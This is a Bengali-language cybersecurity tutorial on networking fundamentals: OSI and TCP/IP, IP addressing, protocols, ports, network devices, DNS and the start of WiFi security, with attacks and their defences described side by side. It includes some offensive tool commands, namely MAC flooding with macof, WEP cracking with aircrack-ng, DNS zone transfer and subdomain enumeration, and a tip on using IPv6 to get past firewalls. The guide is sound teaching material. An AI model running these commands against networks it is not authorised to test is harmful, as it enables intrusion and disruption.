CYBER SECURITY SERIES

সাইবার সিকিউরিটির জন্য

নেটওয়ার্কিং ফান্ডামেন্টাল

একজন সাইবার সিকিউরিটি প্রফেশনাল হতে হলে নেটওয়ার্কিংয়ের যা যা জানা দরকার — OSI মডেল থেকে শুরু করে ফায়ারওয়াল, VPN, প্রোটোকল, ক্রিপ্টোগ্রাফি পর্যন্ত সব কিছু বিস্তারিত।

- Beginner থেকে Advanced
- সম্পূর্ণ বাংলায়
- Security Focused
- Hands-on Examples

বিষয়সূচি

অধ্যায় ১ — নেটওয়ার্কিং এর মূল ধারণা ৩

নেটওয়ার্ক কী, নেটওয়ার্কের প্রকারভেদ

নেটওয়ার্ক টপোলজি

ডেটা ট্রান্সমিশন মিডিয়া

অধ্যায় ২ — OSI ও TCP/IP মডেল ৫

OSI মডেলের ৭টি লেয়ার বিস্তারিত

TCP/IP মডেল

Data Encapsulation

অধ্যায় ৩ — IP অ্যাড্রেসিং ৮

IPv4 ও IPv6 বিস্তারিত

সাবনেটিং ও CIDR

Public vs Private IP, NAT

অধ্যায় ৪ — গুরুত্বপূর্ণ প্রোটোকল ১১

TCP vs UDP

HTTP/HTTPS, DNS, DHCP, FTP, SSH, SMTP

গুরুত্বপূর্ণ পোর্ট নম্বর

অধ্যায় ৫ — নেটওয়ার্ক ডিভাইস ১৪

Hub, Switch, Router, Gateway

Firewall, IDS/IPS, Proxy

অধ্যায় ৬ — DNS বিস্তারিত ১৬

DNS কীভাবে কাজ করে, Record Types

DNS অ্যাটাক ও সুরক্ষা

অধ্যায় ৭ — ওয়্যারলেস নেটওয়ার্কিং ১৮

WiFi স্ট্যান্ডার্ড, WPA2/WPA3

ওয়্যারলেস অ্যাটাক ও সুরক্ষা

অধ্যায় ৮ — ক্রিপ্টোগ্রাফি ২০

Symmetric ও Asymmetric Encryption

TLS/SSL, PKI, Certificate

Hashing ও Digital Signature

অধ্যায় ৯ — নেটওয়ার্ক সিকিউরিটি কনসেপ্ট ২৩

Firewall Rules, VPN, Zero Trust

Common Network Attacks

অধ্যায় ১০ — নেটওয়ার্ক অ্যানালাইসিস টুল ২৬

Wireshark, Nmap, Netcat, tcpdump

প্যাকেট অ্যানালাইসিস

CHAPTER 01

🌐 নেটওয়ার্কিংয়ের মূল ধারণা

নেটওয়ার্ক কী?

নেটওয়ার্ক হলো দুই বা তার বেশি কম্পিউটার বা ডিভাইসের সমষ্টি যারা একে অপরের সাথে যোগাযোগ করতে পারে এবং রিসোর্স শেয়ার করতে পারে। উদাহরণস্বরূপ: তোমার বাড়ির WiFi নেটওয়ার্কে মোবাইল, ল্যাপটপ ও স্মার্ট টিভি একসাথে ইন্টারনেট ব্যবহার করে — এটাই একটি নেটওয়ার্ক।

নেটওয়ার্কের প্রকারভেদ

ধরন	পূর্ণ নাম	পরিসর	উদাহরণ	সিকিউরিটি ঝুঁকি
PAN	Personal Area Network	১০ মিটার	Bluetooth, USB	Bluetooth sniffing
LAN	Local Area Network	১ ভবন	অফিস নেটওয়ার্ক	ARP Spoofing, MITM
MAN	Metropolitan Area Network	একটি শহর	ISP নেটওয়ার্ক	BGP Hijacking
WAN	Wide Area Network	দেশ/বিশ্ব	ইন্টারনেট	সব ধরনের অ্যাটাক
WLAN	Wireless LAN	১ ভবন	WiFi নেটওয়ার্ক	Evil Twin, Deauth
VPN	Virtual Private Network	যেকোনো	Remote work	VPN misconfiguration

নেটওয়ার্ক টপোলজি

টপোলজি হলো নেটওয়ার্কের ডিভাইসগুলো কীভাবে সংযুক্ত — এই বিন্যাস। সিকিউরিটির দৃষ্টিকোণ থেকে টপোলজি বোঝা গুরুত্বপূর্ণ কারণ এটি ব্যর্থতার সম্ভাব্য পয়েন্ট (Single Point of Failure) নির্ধারণ করে।

⭐ Star Topology

🔵 Bus Topology

সব ডিভাইস একটি কেন্দ্রীয় Switch/Hub-এর সাথে সংযুক্ত।

সুবিধা: একটি সংযোগ ব্যর্থ হলে অন্যরা চলে

ঝুঁকি: কেন্দ্রীয় Switch হ্যাক হলে পুরো নেটওয়ার্ক ঝুঁকিতে

ব্যবহার: বেশিরভাগ অফিস LAN

সব ডিভাইস একটি মূল তার (Backbone) এর সাথে সংযুক্ত।

সুবিধা: সহজ ও কম খরচ

ঝুঁকি: Packet Sniffing খুব সহজ — যে কেউ সব ট্র্যাফিক দেখতে পারে

ব্যবহার: পুরনো নেটওয়ার্ক

💍 Ring Topology

ডিভাইসগুলো বৃত্তাকারে সংযুক্ত।

সুবিধা: ডেটা সংঘর্ষ কম

ঝুঁকি: একটি সংযোগ ভাঙলে পুরো নেটওয়ার্ক বিচ্ছিন্ন

ব্যবহার: Token Ring (পুরনো)

🕸 Mesh Topology

প্রতিটি ডিভাইস অন্য সবার সাথে সংযুক্ত।

সুবিধা: অত্যন্ত নির্ভরযোগ্য, রিডান্ডেন্ট পাথ

ঝুঁকি: জটিল, ব্যবস্থাপনা কঠিন

ব্যবহার: ইন্টারনেট ব্যাকবোন, মিলিটারি নেটওয়ার্ক

ডেটা ট্রান্সমিশন মিডিয়া

তারযুক্ত মিডিয়া (Wired)

মিডিয়া	গতি	দূরত্ব	সিকিউরিটি ঝুঁকি
Twisted Pair (UTP/STP)	১০Mbps - ১০Gbps	১০০ মিটার	Physical tapping সম্ভব
Coaxial Cable	১০Mbps - ১Gbps	৫০০ মিটার	Eavesdropping সহজ
Fiber Optic	১Gbps - ১০০Tbps	কিলোমিটার	সবচেয়ে নিরাপদ, tap করা কঠিন

তারবিহীন মিডিয়া (Wireless)

মিডিয়া	ফ্রিকোয়েন্সি	পরিসর	সিকিউরিটি ঝুঁকি
WiFi (802.11)	2.4 GHz / 5 GHz	৩০-১০০ মিটার	Evil Twin, Deauth Attack
Bluetooth	2.4 GHz	১০-১০০ মিটার	Bluejacking, Bluesnarfing
Cellular (4G/5G)	700MHz-6GHz	কিলোমিটার	IMSI Catcher, SS7 Attack
Microwave	GHz রেঞ্জ	কিলোমিটার	Signal Interception
Satellite	GHz রেঞ্জ	বৈশ্বিক	Signal Spoofing

🔒 সিকিউরিটি নোট

Wireless মিডিয়া সবচেয়ে বেশি ঝুঁকিপূর্ণ কারণ সংকেত বাতাসের মধ্য দিয়ে যায় এবং যে কেউ ধরতে পারে। Fiber Optic সবচেয়ে নিরাপদ কারণ আলোক সংকেত বাঁকানো ছাড়া ধরা প্রায় অসম্ভব এবং tap করলে সংযোগ বিচ্ছিন্ন হয়।

CHAPTER 02

📚 OSI ও TCP/IP মডেল

OSI মডেল কী?

OSI (Open Systems Interconnection) মডেল হলো নেটওয়ার্ক যোগাযোগের একটি কনসেপচুয়াল ফ্রেমওয়ার্ক যা ISO তৈরি করেছে। এটি নেটওয়ার্ক ফাংশনকে ৭টি লেয়ারে ভাগ করে। সাইবার সিকিউরিটিতে প্রতিটি লেয়ারে আলাদা ধরনের অ্যাটাক হয়।

```
┌──────────────────────────────────────────────────┐
│ লেয়ার ৭ │ Application Layer  │ HTTP, FTP, DNS   │
├──────────────────────────────────────────────────┤
│ লেয়ার ৬ │ Presentation Layer │ SSL/TLS, JPEG    │
├──────────────────────────────────────────────────┤
│ লেয়ার ৫ │ Session Layer      │ NetBIOS, RPC     │
├──────────────────────────────────────────────────┤
│ লেয়ার ৪ │ Transport Layer    │ TCP, UDP         │
├──────────────────────────────────────────────────┤
│ লেয়ার ৩ │ Network Layer      │ IP, ICMP, ARP    │
├──────────────────────────────────────────────────┤
│ লেয়ার ২ │ Data Link Layer    │ Ethernet, MAC    │
├──────────────────────────────────────────────────┤
│ লেয়ার ১ │ Physical Layer     │ Cables, Signals  │
└──────────────────────────────────────────────────┘
```

লেয়ার ১ — Physical Layer (ভৌত স্তর)

কাজ: বিট (0 ও 1) কে ইলেকট্রিক সিগন্যাল, আলো বা রেডিও তরঙ্গে রূপান্তর করে পাঠানো।

- ডেটা ইউনিট: **Bit**
- ডিভাইস: Hub, Repeater, Cable, Network Interface Card
- সিকিউরিটি অ্যাটাক: Physical tapping, Wiretapping, Cable cutting (DoS)

- সুরক্ষা: Physical security, Fiber Optic ব্যবহার, CCTV

লেয়ার ২ — Data Link Layer (ডেটা লিংক স্তর)

কাজ: নোড থেকে নোডে ডেটা ফ্রেম পাঠানো। MAC Address ব্যবহার করে।

- ডেটা ইউনিট: **Frame**
- ডিভাইস: Switch, Bridge, NIC
- প্রোটোকল: Ethernet, PPP, ARP, VLAN (802.1Q)
- সিকিউরিটি অ্যাটাক: **ARP Spoofing/Poisoning**, MAC Flooding, VLAN Hopping
- সুরক্ষা: Dynamic ARP Inspection, Port Security, 802.1X Authentication

> ⚠️ **ARP Spoofing — সবচেয়ে বিপজ্জনক লেয়ার ২ অ্যাটাক**
>
> হ্যাকার নকল ARP Reply পাঠিয়ে বলে "আমিই গেটওয়ে!" — ফলে সব ট্র্যাফিক হ্যাকারের মধ্য দিয়ে যায়। এটি Man-in-the-Middle অ্যাটাকের ভিত্তি।

লেয়ার ৩ — Network Layer (নেটওয়ার্ক স্তর)

কাজ: সোর্স থেকে ডেস্টিনেশনে প্যাকেট রাউটিং করা। IP Address ব্যবহার করে।

- ডেটা ইউনিট: **Packet**
- ডিভাইস: Router, Layer 3 Switch
- প্রোটোকল: IP (v4/v6), ICMP, OSPF, BGP, RIP
- সিকিউরিটি অ্যাটাক: IP Spoofing, ICMP Flood (Ping of Death), BGP Hijacking, TTL Manipulation
- সুরক্ষা: Ingress/Egress Filtering, IPsec, Firewall ACL

লেয়ার ৪ — Transport Layer (ট্রান্সপোর্ট স্তর)

কাজ: End-to-end যোগাযোগ নিশ্চিত করা। পোর্ট নম্বর ব্যবহার করে।

- ডেটা ইউনিট: **Segment (TCP) / Datagram (UDP)**
- প্রোটোকল: TCP, UDP, SCTP
- সিকিউরিটি অ্যাটাক: **SYN Flood**, Port Scanning, Session Hijacking, UDP Flood
- সুরক্ষা: SYN Cookies, Rate Limiting, Stateful Firewall

লেয়ার ৫, ৬, ৭ — Session, Presentation, Application

লেয়ার	কাজ	প্রোটোকল	অ্যাটাক
Session (৫)	সংযোগ স্থাপন ও শেষ করা	NetBIOS, RPC, NFS	Session Hijacking, Pass-the-Hash
Presentation (৬)	ডেটা এনকোড/ডিকোড, এনক্রিপশন	SSL/TLS, JPEG, ASCII	SSL Stripping, Cipher Downgrade
Application (৭)	ইউজার অ্যাপ্লিকেশন সেবা	HTTP, FTP, DNS, SMTP	SQLi, XSS, DNS Spoofing, Phishing

TCP/IP মডেল

TCP/IP মডেল বাস্তবে ইন্টারনেটে ব্যবহৃত হয়। এটি OSI-এর ৭ লেয়ারকে ৪ লেয়ারে সংকুচিত করে।

TCP/IP লেয়ার	OSI সমতুল্য	প্রোটোকল
Application	লেয়ার ৫, ৬, ৭	HTTP, HTTPS, DNS, FTP, SSH, SMTP, POP3
Transport	লেয়ার ৪	TCP, UDP
Internet	লেয়ার ৩	IP, ICMP, ARP, OSPF, BGP
Network Access	লেয়ার ১, ২	Ethernet, WiFi, PPP

Data Encapsulation — ডেটা কীভাবে যায়?

```
পাঠানোর সময় (Sender):
Application Data: [DATA]
Transport adds header: [TCP Header][DATA]              → Segment
Network adds header:   [IP Header][TCP Header][DATA]   → Packet
Data Link adds frame:  [ETH][IP][TCP][DATA][FCS]       → Frame
Physical:              0101010101... (bits)            → Bits
```

```
পাওয়ার সময় (Receiver):
বিপরীত ক্রমে প্রতিটি লেয়ার Header খুলে ফেলে।
```

✅ মনে রাখার সহজ উপায়

OSI মডেল মনে রাখতে: **"Please Do Not Throw Sausage Pizza Away"**

P=Physical, D=Data Link, N=Network, T=Transport, S=Session, P=Presentation, A=Application

CHAPTER 03

IP অ্যাড্রেসিং ও সাবনেটিং

IP Address কী?

IP (Internet Protocol) Address হলো প্রতিটি নেটওয়ার্ক ডিভাইসের একটি অনন্য পরিচয়পত্র। ঠিক যেমন বাড়ির ঠিকানা দিয়ে চিঠি পাঠানো হয়, তেমনি IP Address দিয়ে ডেটা প্যাকেট পাঠানো হয়।

IPv4 বিস্তারিত

IPv4 হলো ৩২-বিটের একটি সংখ্যা যা ৪টি অক্টেটে (৮ বিট করে) লেখা হয়।

```
উদাহরণ: 192.168.1.100

বাইনারি:
11000000 . 10101000 . 00000001 . 01100100
   192   .    168   .     1    .    100

মোট বিট: 32
মোট সম্ভাব্য IP: 2^32 = প্রায় ৪.৩ বিলিয়ন
```

IPv4 ক্লাস

ক্লাস	রেঞ্জ	ডিফল্ট Subnet Mask	ব্যবহার	হোস্ট সংখ্যা
A	1.0.0.0 – 126.255.255.255	255.0.0.0 (/8)	বড় সংস্থা	১৬,৭৭৭,২১৪
B	128.0.0.0 – 191.255.255.255	255.255.0.0 (/16)	মাঝারি সংস্থা	৬৫,৫৩৪
C	192.0.0.0 – 223.255.255.255	255.255.255.0 (/24)	ছোট নেটওয়ার্ক	২৫৪

ক্লাস	রেঞ্জ	ডিফল্ট Subnet Mask	ব্যবহার	হোস্ট সংখ্যা
D	224.0.0.0 – 239.255.255.255	—	Multicast	—
E	240.0.0.0 – 255.255.255.255	—	Research/Reserved	—

Private vs Public IP Address

ধরন	রেঞ্জ	ব্যবহার	সিকিউরিটি
Private A	10.0.0.0/8	বড় কর্পোরেট নেটওয়ার্ক	ইন্টারনেট থেকে সরাসরি অ্যাক্সেসযোগ্য নয়
Private B	172.16.0.0/12	মাঝারি নেটওয়ার্ক	ইন্টারনেট থেকে সরাসরি অ্যাক্সেসযোগ্য নয়
Private C	192.168.0.0/16	হোম/অফিস নেটওয়ার্ক	ইন্টারনেট থেকে সরাসরি অ্যাক্সেসযোগ্য নয়
Loopback	127.0.0.1	নিজের সাথে যোগাযোগ	localhost — শুধু নিজের সিস্টেম
APIPA	169.254.0.0/16	DHCP না পেলে	DHCP Server সমস্যার নির্দেশক
Public IP	বাকি সব	ইন্টারনেট	সরাসরি অ্যাক্সেসযোগ্য — সুরক্ষা প্রয়োজন

NAT (Network Address Translation)

NAT হলো এমন একটি পদ্ধতি যেখানে Router একটি Public IP দিয়ে অনেকগুলো Private IP ডিভাইসকে ইন্টারনেট অ্যাক্সেস দেয়।

```
তোমার বাড়ির নেটওয়ার্ক:
মোবাইল: 192.168.1.2  ──┐
ল্যাপটপ: 192.168.1.3  ──┼──→ Router (NAT) ──→ Internet
স্মার্ট TV: 192.168.1.4 ──┘     Public IP: 103.x.x.x

বাইরে থেকে শুধু 103.x.x.x দেখা যায়।
কে কোন ডিভাইস সেটা লুকানো থাকে।
```

সাবনেটিং (Subnetting)

সাবনেটিং হলো একটি বড় নেটওয়ার্ককে ছোট ছোট অংশে (সাবনেট) ভাগ করা। সিকিউরিটির জন্য এটি অত্যন্ত গুরুত্বপূর্ণ কারণ আলাদা ডিপার্টমেন্টকে আলাদা সাবনেটে রাখলে একটি হ্যাক হলে অন্যটি সুরক্ষিত থাকে।

CIDR Notation (সিডার নোটেশন)

CIDR	Subnet Mask	মোট IP	ব্যবহারযোগ্য Host	ব্যবহার
/8	255.0.0.0	১৬,৭৭৭,২১৬	১৬,৭৭৭,২১৪	বিশাল ISP নেটওয়ার্ক
/16	255.255.0.0	৬৫,৫৩৬	৬৫,৫৩৪	বড় কর্পোরেট
/24	255.255.255.0	২৫৬	২৫৪	সাধারণ অফিস/হোম
/25	255.255.255.128	১২৮	১২৬	বিভাগীয় নেটওয়ার্ক
/30	255.255.255.252	৪	২	Router-to-Router Link
/32	255.255.255.255	১	১	একটি নির্দিষ্ট Host

IPv6 বিস্তারিত

IPv4 ঠিকানা শেষ হয়ে যাওয়ায় IPv6 তৈরি হয়েছে। এটি ১২৮-বিটের।

```
IPv6 উদাহরণ:
2001:0db8:85a3:0000:0000:8a2e:0370:7334

সংক্ষিপ্ত রূপ:
2001:db8:85a3::8a2e:370:7334

মোট সম্ভাব্য IP: 2^128 = 340 undecillion (প্রায় অসীম!)

বিশেষ IPv6 ঠিকানা:
::1          → Loopback (127.0.0.1 এর মতো)
::           → Unspecified
fe80::/10    → Link-local
ff00::/8     → Multicast
```

IPv4 vs IPv6 তুলনা

বিষয়	IPv4	IPv6
বিট সংখ্যা	32 bit	128 bit
ঠিকানা সংখ্যা	~৪.৩ বিলিয়ন	340 undecillion
NAT প্রয়োজন?	হ্যাঁ	না
IPsec বাধ্যতামূলক?	না	হ্যাঁ
Header সাইজ	Variable	Fixed (40 bytes)
Broadcast	আছে	নেই (Multicast আছে)
সিকিউরিটি ঝুঁকি	ARP Spoofing	NDP Spoofing, Router Advertisement Attack

⚠️ সিকিউরিটি পেনটেস্টিং টিপ

IP স্ক্যান করার সময় IPv6 ভুলে যাবে না! অনেক সিস্টেম IPv6 দিয়ে চলে কিন্তু Firewall শুধু IPv4 ব্লক করে। IPv6 দিয়ে bypass করা যেতে পারে।

```
nmap -6 target.com # IPv6 স্ক্যান
```

CHAPTER 04

📡 গুরুত্বপূর্ণ নেটওয়ার্ক প্রোটোকল

TCP vs UDP — সবচেয়ে গুরুত্বপূর্ণ পার্থক্য

🔵 TCP (Transmission Control Protocol)

Connection-oriented — আগে সংযোগ স্থাপন করে

- Three-Way Handshake: SYN → SYN-ACK → ACK
- নির্ভরযোগ্য — প্যাকেট হারিয়ে গেলে পুনরায় পাঠায়
- ক্রমানুযায়ী ডেটা পৌঁছানো নিশ্চিত করে
- ধীরগতি কিন্তু নির্ভরযোগ্য
- ব্যবহার: HTTP, HTTPS, FTP, SSH, SMTP

সিকিউরিটি ঝুঁকি: SYN Flood, Session Hijacking

🟠 UDP (User Datagram Protocol)

Connectionless — সংযোগ ছাড়াই পাঠায়

- কোনো Handshake নেই
- অনির্ভরযোগ্য — হারানো প্যাকেট পুনরায় পাঠায় না
- ক্রম নিশ্চিত নয়
- দ্রুতগতি
- ব্যবহার: DNS, DHCP, VoIP, Video streaming, Gaming

সিকিউরিটি ঝুঁকি: UDP Flood, DNS Amplification

TCP Three-Way Handshake বিস্তারিত

```
          Client                    Server
             |                         |
|—— SYN (seq=100) ———→|   "হ্যালো, কথা বলতে চাই"
             |                         |
|←— SYN-ACK (seq=200, —|   "ঠিক আছে, প্রস্তুত আছি"
             |     ack=101)            |
             |                         |
```

```
        |—— ACK (ack=201) ——→|   "চমৎকার, শুরু করা যাক"
        |                    |
        |═══ Data Flow ═══|

                SYN Flood Attack:
        Client (Hacker)          Server
        |—— SYN ——————→|
    |—— SYN ——————→|  সার্ভার অনেক SYN-ACK
   |—— SYN ——————→|  পাঠায় কিন্তু ACK আসে না
  |—— SYN ——————→|  → সার্ভারের মেমোরি ভরে যায়
|                  |  → Legitimate connection reject করে
```

HTTP ও HTTPS

HTTP (HyperText Transfer Protocol) — পোর্ট 80

ওয়েব ব্রাউজার ও ওয়েব সার্ভারের মধ্যে যোগাযোগের প্রোটোকল। HTTP সম্পূর্ণ অনিরাপদ — সব ডেটা Plaintext-এ যায়।

```
# HTTP Request উদাহরণ (Wireshark-এ দেখা যায়): GET /login HTTP/1.1 Host: example.com Cookie: session=abc123 Authorization: Basic dXNlcjpwYXNz # Base64 encoded "user:pass" # HTTP Response: HTTP/1.1 200 OK Content-Type: text/html Set-Cookie: sessionid=xyz789; HttpOnly; Secure
```

HTTPS — পোর্ট 443

HTTP + TLS/SSL = HTTPS। ডেটা এনক্রিপ্ট করে পাঠায়। সিকিউরিটির জন্য সব সাইটে HTTPS থাকা উচিত।

বিষয়	HTTP	HTTPS
পোর্ট	80	443
এনক্রিপশন	নেই	TLS/SSL
Wireshark-এ দেখা যায়?	হ্যাঁ	না (encrypted)
Certificate	নেই	SSL Certificate প্রয়োজন

বিষয়	HTTP	HTTPS
MITM সম্ভব?	সহজেই	কঠিন (Certificate pinning থাকলে)

DNS — ডোমেইন নেম সিস্টেম (পোর্ট 53)

DNS ইন্টারনেটের ফোনবুক। Domain Name কে IP Address-এ রূপান্তর করে।

```
nslookup google.com # DNS লুকআপ dig google.com ANY # সব DNS রেকর্ড দেখা host -a facebook.com # DNS রেকর্ড বিস্তারিত
```

DHCP — ডায়নামিক হোস্ট কনফিগারেশন (পোর্ট 67/68)

DHCP স্বয়ংক্রিয়ভাবে নেটওয়ার্ক ডিভাইসকে IP Address, Subnet Mask, Default Gateway ও DNS দেয়।

```
DHCP DORA Process:
Client                DHCP Server
|── Discover ──────────→|   "কেউ IP দেবে?"
|←── Offer ─────────────|   "192.168.1.100 নাও"
|── Request ──────────→|   "ঠিক আছে, ওটাই চাই"
|←── ACK ──────────────|   "নাও, লিজ দিলাম"

DHCP Starvation Attack:
হ্যাকার লক্ষ লক্ষ Discover পাঠিয়ে সব IP নিয়ে নেয়
→ নতুন ডিভাইস IP পায় না → DoS
```

SSH — সিকিউর শেল (পোর্ট 22)

SSH এনক্রিপ্টেড কমান্ড-লাইন অ্যাক্সেস দেয়। Telnet (পোর্ট 23) এর নিরাপদ বিকল্প।

```
# SSH সংযোগ ssh username@192.168.1.100 ssh -p 2222 user@server.com # কাস্টম পোর্ট ssh -i key.pem user@server # Private key দিয়ে # SSH Key তৈরি ssh-keygen -t ed25519 -C "comment" # সিকিউরিটি: SSH Config পরিবর্তন # /etc/ssh/sshd_config: PermitRootLogin no PasswordAuthentication no Port 2222
```

গুরুত্বপূর্ণ পোর্ট নম্বর — সম্পূর্ণ তালিকা

পোর্ট	প্রোটোকল	সার্ভিস	সিকিউরিটি নোট
20/21	TCP	FTP	Plaintext, ব্যবহার করবেন না। SFTP ব্যবহার করুন।
22	TCP	SSH	নিরাপদ। Default পোর্ট পরিবর্তন করুন।
23	TCP	Telnet	অত্যন্ত অনিরাপদ, ব্যবহার করবেন না!
25	TCP	SMTP	ইমেইল পাঠানো। Spam ও Email Spoofing ঝুঁকি।
53	TCP/UDP	DNS	DNS Spoofing, DNS Amplification Attack ঝুঁকি।
67/68	UDP	DHCP	Rogue DHCP Server, Starvation Attack ঝুঁকি।
80	TCP	HTTP	Plaintext ওয়েব। HTTPS ব্যবহার করুন।
110	TCP	POP3	ইমেইল রিসিভ। Plaintext।
135	TCP	RPC	Windows। অনেক Exploit পাওয়া গেছে।
139/445	TCP	SMB	EternalBlue (WannaCry)! সবচেয়ে বিপজ্জনক।
143	TCP	IMAP	ইমেইল। SSL ছাড়া Plaintext।
443	TCP	HTTPS	নিরাপদ ওয়েব।
445	TCP	SMB/CIFS	Windows File Sharing। খুবই বিপজ্জনক!
3306	TCP	MySQL	ডেটাবেস। কখনো Public-এ খোলা রাখবেন না।
3389	TCP	RDP	Remote Desktop। Brute Force ও BlueKeep ঝুঁকি।
5432	TCP	PostgreSQL	ডেটাবেস। Public-এ expose করবেন না।
6379	TCP	Redis	প্রায়ই Auth ছাড়া Public-এ খোলা থাকে!
8080/8443	TCP	HTTP Alt	Development Server, প্রায়ই দুর্বল।

পোর্ট	প্রোটোকল	সার্ভিস	সিকিউরিটি নোট
27017	TCP	MongoDB	প্রায়ই Auth ছাড়া Public-এ খোলা থাকে!

CHAPTER 05

💻 নেটওয়ার্ক ডিভাইস

প্রধান নেটওয়ার্ক ডিভাইস

Hub — লেয়ার ১

Hub সব পোর্টে ডেটা ব্রডকাস্ট করে। সিকিউরিটির দৃষ্টিকোণ থেকে অত্যন্ত বিপজ্জনক কারণ যেকোনো ডিভাইস সব ট্র্যাফিক দেখতে পারে। আধুনিক নেটওয়ার্কে Hub ব্যবহার হয় না।

Switch — লেয়ার ২

Switch MAC Address টেবিল ব্যবহার করে সঠিক পোর্টে ডেটা পাঠায়। Hub-এর চেয়ে নিরাপদ কিন্তু ARP Spoofing ও MAC Flooding-এর মাধ্যমে আক্রান্ত হতে পারে।

> ⚠️ **MAC Flooding Attack**
>
> হ্যাকার হাজার হাজার নকল MAC Address দিয়ে Switch-এর CAM Table ভরিয়ে দেয়। ফলে Switch একটি Hub-এর মতো আচরণ করে এবং সব ট্র্যাফিক সব পোর্টে ব্রডকাস্ট করে।
>
> ```
> macof -i eth0 # MAC Flooding টুল (Kali Linux)
> ```

Router — লেয়ার ৩

Router নেটওয়ার্কের মধ্যে ট্র্যাফিক রাউটিং করে। IP Address ব্যবহার করে সেরা পাথ নির্ধারণ করে।

Firewall — সবচেয়ে গুরুত্বপূর্ণ সিকিউরিটি ডিভাইস

Firewall নেটওয়ার্ক ট্র্যাফিক ফিল্টার করে। নির্দিষ্ট নিয়ম (Rules) অনুযায়ী ট্র্যাফিক Allow বা Block করে।

Firewall ধরন	কাজ	সুবিধা	সীমাবদ্ধতা
Packet Filter	IP, Port দেখে block করে	দ্রুত	Deep inspection করে না
Stateful	Connection state ট্র্যাক করে	নির্ভরযোগ্য	Application layer দেখে না
Application (WAF)	HTTP payload বিশ্লেষণ করে	সবচেয়ে নিরাপদ	ধীরগতি, ব্যয়বহুল
Next-Gen (NGFW)	সব একসাথে + IDS/IPS	সর্বোচ্চ সুরক্ষা	সবচেয়ে ব্যয়বহুল

IDS ও IPS

বিষয়	IDS (Intrusion Detection System)	IPS (Intrusion Prevention System)
কাজ	অ্যাটাক সনাক্ত করে Alert পাঠায়	অ্যাটাক সনাক্ত করে স্বয়ংক্রিয়ভাবে ব্লক করে
পজিশন	নেটওয়ার্কের বাইরে (Passive)	ট্র্যাফিকের মাঝে (Inline)
সুবিধা	False Positive-এ ক্ষতি নেই	Real-time সুরক্ষা
সীমাবদ্ধতা	নিজে block করতে পারে না	False Positive হলে legitimate traffic block

Proxy Server

Proxy হলো মধ্যবর্তী সার্ভার যা Client ও Internet-এর মধ্যে কাজ করে।

- **Forward Proxy:** Client-এর পক্ষে Internet-এ রিকোয়েস্ট করে (Client IP লুকায়)
- **Reverse Proxy:** Server-এর পক্ষে Client রিকোয়েস্ট গ্রহণ করে (Server IP লুকায়) — Nginx, Cloudflare
- **Transparent Proxy:** ব্যবহারকারী জানে না Proxy আছে

CHAPTER 06

🔍 DNS বিস্তারিত

DNS কীভাবে কাজ করে?

```
তুমি browser-এ টাইপ করলে: www.google.com

১. Browser Cache চেক করে
↓ না পেলে
২. OS Cache (/etc/hosts) চেক করে
↓ না পেলে
৩. Recursive Resolver (ISP DNS) কে জিজ্ঞেস করে
↓ না জানলে
৪. Root DNS Server (.) জিজ্ঞেস করে → .com কে জানে
↓
৫. TLD DNS Server (.com) জিজ্ঞেস করে → google.com কে জানে
↓
৬. Authoritative DNS Server (Google) → 142.250.x.x
↓
৭. Browser পায় IP: 142.250.x.x
↓
৮. Browser connect করে 142.250.x.x:443 এ
```

DNS Record Types

Record	কাজ	উদাহরণ	সিকিউরিটি প্রাসঙ্গিকতা
A	Domain → IPv4	google.com → 142.250.x.x	সবচেয়ে বেশি ব্যবহৃত, Subdomain Takeover

Record	কাজ	উদাহরণ	সিকিউরিটি প্রাসঙ্গিকতা
AAAA	Domain → IPv6	google.com → 2607:f8b0::...	IPv6 হ্যাকিং
CNAME	Alias → অন্য Domain	www → google.com	Subdomain Takeover ঝুঁকি
MX	Mail Server	mail.google.com	Email Spoofing, SPF/DKIM চেক
TXT	টেক্সট তথ্য	SPF, DKIM, DMARC রেকর্ড	Email authentication
NS	Name Server	ns1.google.com	DNS Hijacking টার্গেট
PTR	IP → Domain (Reverse)	142.250.x.x → google.com	Reverse DNS lookup
SOA	DNS Zone তথ্য	Zone transfer info	Zone Transfer Attack
SRV	Service Location	_http._tcp.example.com	Service Discovery

DNS অ্যাটাক

১. DNS Spoofing / Cache Poisoning

হ্যাকার DNS Cache-এ ভুয়া রেকর্ড ঢুকিয়ে দেয়। ব্যবহারকারী সঠিক domain টাইপ করলেও হ্যাকারের সার্ভারে চলে যায়।

২. DNS Zone Transfer

Zone Transfer ভুলভাবে কনফিগার থাকলে সব DNS রেকর্ড (সব subdomain সহ) একসাথে বের করা যায়।

```
dig axfr @ns1.target.com target.com # Zone Transfer চেষ্টা
```

৩. DNS Amplification DDoS

UDP-র spoofed packet দিয়ে DNS সার্ভারকে victim-এর IP-তে বড় Response পাঠাতে বলে। ছোট request-এ বড় response → ট্র্যাফিক amplification।

8. DNS Tunneling

Firewall bypass করতে DNS প্যাকেটের মধ্যে ডেটা লুকিয়ে পাঠানো।

```
# DNS Enumeration টুল (Kali Linux) dnsenum target.com fierce --domain target.com dnsrecon -d target.com subfinder -d target.com
```

✅ **DNS সুরক্ষা**

- DNSSEC ব্যবহার করুন (DNS রেকর্ড সাইন করা)
- Zone Transfer শুধু Authorized Server-এ সীমিত করুন
- SPF, DKIM, DMARC রেকর্ড যোগ করুন (Email Spoofing ঠেকাতে)
- DNS over HTTPS (DoH) বা DNS over TLS (DoT) ব্যবহার করুন

CHAPTER 07

ওয়্যারলেস নেটওয়ার্কিং ও সিকিউরিটি

WiFi স্ট্যান্ডার্ড

স্ট্যান্ডার্ড	নাম	ফ্রিকোয়েন্সি	সর্বোচ্চ গতি	পরিসর
802.11a	WiFi 1	5 GHz	54 Mbps	কম
802.11b	WiFi 2	2.4 GHz	11 Mbps	বেশি
802.11g	WiFi 3	2.4 GHz	54 Mbps	বেশি
802.11n	WiFi 4	2.4/5 GHz	600 Mbps	বেশি
802.11ac	WiFi 5	5 GHz	3.5 Gbps	মাঝারি
802.11ax	WiFi 6	2.4/5/6 GHz	9.6 Gbps	ভালো

WiFi সিকিউরিটি প্রোটোকল

WEP (Wired Equivalent Privacy) — ব্যবহার করবেন না!

১৯৯৭ সালে তৈরি। RC4 encryption ব্যবহার করে। মাত্র কয়েক মিনিটে crack করা যায়।

> `aircrack-ng capture.cap # WEP crack (Kali Linux)` — মিনিটেই ভাঙে

WPA (WiFi Protected Access)

WEP-এর উন্নত বিকল্প। TKIP encryption ব্যবহার করে। এখনো দুর্বল।

WPA2 — সবচেয়ে বেশি ব্যবহৃত

AES-CCMP encryption ব্যবহার করে। দুটি মোড:

- **WPA2-Personal (PSK):** একটি পাসওয়ার্ড সবার জন্য। হোম নেটওয়ার্কে ব্যবহার।
